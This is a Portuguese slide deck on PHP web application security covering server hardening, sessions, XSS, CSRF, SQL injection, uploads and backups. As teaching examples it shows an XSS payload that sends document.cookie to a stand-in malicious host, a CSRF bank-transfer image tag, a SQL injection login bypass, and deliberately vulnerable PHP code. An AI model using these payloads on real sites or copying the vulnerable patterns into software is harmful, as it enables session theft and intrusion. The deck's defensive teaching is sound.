Segurança de aplicações web
Vitor Mattos
Fotografem, comentem, twittem!
@VitorMattosRJ







Quem sou eu?
Desenvolvedor PHP desde 2003
Amante de opensource
Evangelista PHP
PHP Zend Certified Engineer ( ZEND024235 )
PHPRio ( https://telegram.me/phprio )
CTO LibreCode Coop
Redes sociais: ( VitorMattos ou VitorMattosRJ )
A LibreCode é uma cooperativa de trabalho com modelo de gestão democrática, segura e eficiente composta por profissionais de T.I. altamente qualificados e experientes no mercado. Prezamos por apresentar vantagens, tanto para o cooperado como para as empresas parceiras.


188
Cursos Gratuitos
para início imediato!

Cronograma
Tentarei ser breve :-D
- Definições
- Boas práticas
- No servidor web
- No desenvolvimento
- No servidor de banco
- Alguns testes de segurança
Requisitos básicos
- Confidencialidade
- Integridade
- Disponibilidade
- Autenticidade
Confidencialidade

Integridade

Disponibilidade

informação sempre disponível para o uso ...
de quem?
Autenticidade

Segurança não se restringe a sistemas ...

Tudo começa com
Boas práticas

Como ter um sistema mais seguro?

Segurança no servidor é importante
Remova o que é desnecessário

expose php = Off
Altere no php.ini
Remova o que é desnecessário

ServerSignature Off
ServerTokens Prod
Altere no arquivo de configuração do Apache:
Major|Minor|Min[imal]|Prod[uctOnly]|OS|Full
Remova o que é desnecessário

Altere no VirtualHost:
Options -Indexes
Remova o que é desnecessário

Altere no VirtualHost:
RedirectMatch 404 /\.git
Remova o que é desnecessário

Altere no php.ini:
display_errors = Off
Logs salvam vidas
display_errors
Mostra erros na tela
error_reporting
log_errors
error_log
Nível de erro mostrado
Logar erros
Arquivo de log
set_error_handler
Cria um novo manipulador de erros
Logs salvam vidas
Monitore logs: grafana

Logs salvam vidas
Monitore logs: graylog

Mantenha-se atualizado

Rode apenas o essencial


Cuidado com o que faz
shell_exec()
system()
passthru()
proc_*()
exec()
Cuidado com o que faz
shell_exec()
system()
passthru()
proc_*()
exec()
escapeshellcmd()
escapeshellarg()
Cuidado com o que faz
Utilize apenas códigos de terceiros que sejam confiáveis
Muitas falhas de seguranças são injetadas em um sistema por códigos de terceiros, módulos, plugins, libs, etc.
Cuidado com o que faz
Desabilite ou evite fazer include de código a partir de uma URL

Redução de privilégios:
arquivos
chmod 777

Redução de privilégios:
isole as aplicações



LXC


Cookies e sessão
Session hijacking
&
Cookie Theft
Cookies e sessão

Local de armazenamento

Cliente: Cookie
Servidor: Sessão
Cookies e sessão
Como funcionam?
Cookies e sessão
Oculte informações sobre o servidor
Altere no php.ini
session.name
session.name specifies the name of the session which is used as cookie name. It should only contain alphanumeric characters. Defaults to PHPSESSID.
Cookies e sessão
Valide user-agent e IP
Armazene o user-agent e o IP do usuário autenticado e não permita que a sessão continue up caso estes dados sejam alterados.
OBS: Evite armazenar dados não encriptados!!!
Hospedagens compartilhadas
Hospedagens compartilhadas podem ter brechas de permissões de acesso a dados de outros clientes.
Se a aplicação requer segurança alta, evite utilizá-las.
Caso não tenha escolha, investigue se é segura.
Hospedagens compartilhadas
Altere esta configuração quando for hospedagem compartilhada:
session.save_path
session.save_path defines the argument which is passed to the save handler. If you choose the default files handler, this is the path where the files are created
Sites seguros
HTTPS
Prefira sempre HTTPS

Exposição de sessão
Dados de sessão podem ser visualizados quando não criptografados com HTTPS
Wireshark

XSS - Cross Site Scripting

Esperado:
Exibindo resultados para a consulta "<?=$_GET['q'];?>"XSS - Cross Site Scripting
Exibindo resultados para a consulta "<?=$_GET['q'];?>"O que ocorrerá:

XSS - Cross Site Scripting
Exibindo resultados para a consulta "<?=$_GET['q'];?>"O que ocorrerá:
localhost/?q=<script>
document.location="http://site.do.mal/get.php?cookie=" + document.cookie
</script>XSS - Cross Site Scripting
Faça tratamento dos dados
filter_var
strip_tags
html_entities
mysql_real_escape_string
is_[bool|callable|numeric|float|string|object|etc]
CSRF - Cross Site Request Forgery
CSRF é um ataque que força um usuário final à executar ações indesejadas em uma aplicação web em que ele(a) está autenticado no momento.
Exemplo:
Uma pessoa descobre que para transferir dinheiro em seu banco a url é a seguinte:
https://banco.com.br/transfer?to=Maria&amount=10000
CSRF - Cross Site Request Forgery
Uma pessoa descobre que para transferir dinheiro em seu banco a url é a seguinte:
https://banco.com.br/transfer?to=Maria&amount=10000
Esta pessoa manda email para uma vítima que usa o mesmo banco com o seguinte código no corpo do email:
<img src="https://banco.com.br/transfer?to=Joselito&amount=10000"
width="0" height="0"/>CSRF - Cross Site Request Forgery
Como evitar?
Codifique os campos do formulário e armazene na sessão para decodificar em seguida e armazene um token no formulário


CSRF - Cross Site Request Forgery
Como evitar?
- Crie um token (conforme citado antes)
- Prefira usar POST no lugar de GET
- Limite o tempo de sessão
- Peça para o usuário se autenticar novamente
- Confira o REFERER
Use VCS a seu favor

Não versione arquivos sensíveis


Não versione arquivos sensíveis


Nunca programe em produção

Cuidados com formulários
Formulários que enviam email
<form method="POST">
Área:
<select name="area">
<option value="contato@site.com.br">Contato</option>
</select>
Seu nome: <input name="nome">
Seu email: <input name="email">
Sua mensagem: <input name="mensagem">
<input type="submit">
</form>
<?php
if(!isset($_POST['nome'])) return;
$cabecalhos = "From {$_POST['nome']} <{$_POST['email']}>";
$para = $_POST['para'];
$assunto = "Contato pelo site";
$corpo = $_POST['mensagem'];
mail($para, $assunto, $corpo, $cabecalhos);Formulários que enviam email
Esperado:
Área: contato@site.com.br
Seu nome: Vitor Mattos
Seu email: vitor@lt.coop.br
Sua mensagem: Olá! Gostei da apresentação
<form method="POST">
Área:
<select name="area">
<option value="contato@site.com.br">Contato</option>
</select>
Seu nome: <input name="nome">
Seu email: <input name="email">
Sua mensagem: <input name="mensagem">
<input type="submit">
</form>
<?php
if(!isset($_POST['nome'])) return;
$cabecalhos = "From {$_POST['nome']} <{$_POST['email']}>";
$para = $_POST['para'];
$assunto = "Contato pelo site";
$corpo = $_POST['mensagem'];
mail($para, $assunto, $corpo, $cabecalhos);Formulários que enviam email
O que ocorrerá:
Área: all@senado.br
Seu nome: Presidente do Brasil
Seu email: presidente@senado.br
Sua mensagem: Quando receberei meu próximo mensalão?
<form method="POST">
Área:
<select name="area">
<option value="contato@site.com.br">Contato</option>
</select>
Seu nome: <input name="nome">
Seu email: <input name="email">
Sua mensagem: <input name="mensagem">
<input type="submit">
</form>
<?php
if(!isset($_POST['nome'])) return;
$cabecalhos = "From {$_POST['nome']} <{$_POST['email']}>";
$para = $_POST['area'];
$assunto = "Contato pelo site";
$corpo = $_POST['mensagem'];
mail($para, $assunto, $corpo, $cabecalhos);Dados sensíveis
NUNCA, NUNCA, NUNCA
faça um formulário de login usando method GET
https://site.com/login?usr=nome&passwd=123456
A senha vai ficar exposta e será salva no histórico do navegador!!!
Política de senhas
Defina uma política de senhas

Validação de dados
NUNCA confie no usuário.
Valide sempre os dados de formulários
no cliente e no servidor.
Flooding
Bloqueie tentativas repetidas de login do mesmo ip.
Rate limiting
Flooding
Flooding

Flooding


Solve the Riemann hypothesis
Can't know the solution? Sorry.
Flooding


Solve the Riemann hypothesis
Can't know the solution? Sorry.

2FA, 3FA, ...

Upload de arquivos
Sempre confira o MYME type
$_FILES["file"]["type"]

Upload de arquivos
Não confie só no MIME type
Também confira o tipo de imagem

Upload de arquivos
Sempre confira a extensão dos arquivos
Upload de arquivos
Redimensione imagens e salve para eliminar qualquer informação não desejável (exif, esteganografia), poupar espaço e banda

Upload de arquivos
Limite o tamanho máximo de arquivos enviados
<?php
ini_set('upload_max_filesize', '40M');Upload de arquivos
Cuidado com o local onde armazena arquivos enviados
Recomendável mover para um domínio exclusivo para arquivos estáticos

Upload de arquivos
Se possível, restrinja upload para usuários autenticados.

URL amigáveis
Evite query string
https://www.site.com/index.php?module=user&action=profile&id=17
https://www.site.com/user/17
URL amigáveis
Proteja identificadores
- Evite sequenciais
- UUID (Universally unique identifier)
- GUID (Identificador Único Global)
- MD5 / CRC32 / SHA1 / SHA256
- Qualquer outro tipo de hash ou ofuscamento
https://www.site.com/user/17
https://www.site.com/user/a2f31b55
URL amigáveis
Não tem como usar url amigáveis?
Faça tratamento dos dados
filter_var
strip_tags
html_entities
mysql_real_escape_string
is_[bool|callable|numeric|float|string|object|etc]
URL amigáveis: limpeza de dados

Segurança com uso de banco de dados


Redução de privilégios:
acesso remoto
REMOTE ACCESS

Redução de privilégios:
database
GRANT ALL PRIVILEGES ON database TO user;

Prefira sempre UTF8

SQL Injection: O que é?
é um tipo de ameaça de segurança que se aproveita de falhas em sistemas que interagem com bases de dados através de comandos SQL, onde o atacante consegue inserir uma instrução SQL personalizada e indevida dentro de uma consulta (SQL query) através da entradas de dados de uma aplicação, como formulários ou URL de uma aplicação
By: Wikipedia
bla, bla, bla, bla...
Como faz isto?
SQL Injection: O que é?
<form method="post">
Usuário: <input name="user" />
Senha: <input type="password" name="pass" />
<input type="submit">
</form>
<?php
$result = mysql_query(
"SELECT * ".
" FROM user".
" WHERE user = '{$_POST['user']}'".
" AND pass = '{$_POST['pass']}'"
);Se o usuário digitar:
user: ' OR 1 = 1;--
pass: sfk3lkjsdlds
Teremos:
SELECT *
FROM user
WHERE user = '' OR 1 = 1;--
AND pass='sfk3lkjsdlds'SQL Injection: previna-se

Prepared statements
Uma consulta preparada é processada, gerando um plano de execução que pode ser executado várias vezes em uma sessão, com ganho de performance.
Prepared statements

Prepared statements
Exemplo:
$sql =
"INSERT INTO log (ip, url) ".
"VALUES (?, ?)";
$sth = $dbh->prepare($sql);
$sth->execute(array(
'192.168.1.100',
'http://localhost'
));Senhas de usuários
NUNCA use md5 ou apenas md5, rainbow table:

Senhas de usuários
$hash = password_hash('segredo!');
// $2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a
if (password_verify('segredo!', $hash)) {
echo 'Password is valid!';
} else {
echo 'Invalid password.';
}Faça backups
TJ‑RS sofre ataque de ransomware
A ameaça criptografou arquivos e exigiu o pagamento de um resgate no valor de US$ 5.000.000. Alguns dos serviços disponibilizados pelo portal do TJ-RS estão temporariamente indisponíveis.
Backups
Não guarde os backups no servidor de aplicação
Backups
Backup deve ser feito por um servidor externo acessando o servidor de aplicação
Backups
Defina políticas de acesso
Backups
Faça relatórios de backup e testes de restauração com frequência
Ferramentas

Ferramentas

Ferramentas

Referências
- Minha cabeça
- https://www.owasp.org
- https://www.slideshare.net/JoubertGuimaresdeAss
- https://www.slideshare.net/tchelinux
- Wikipedia
- www

Perguntas
vitor@lt.coop.br
Linkedin: vitormattos
Telegram: vitormattos





Obrigado!
Redes sociais:
( VitorMattos ou VitorMattosRJ )



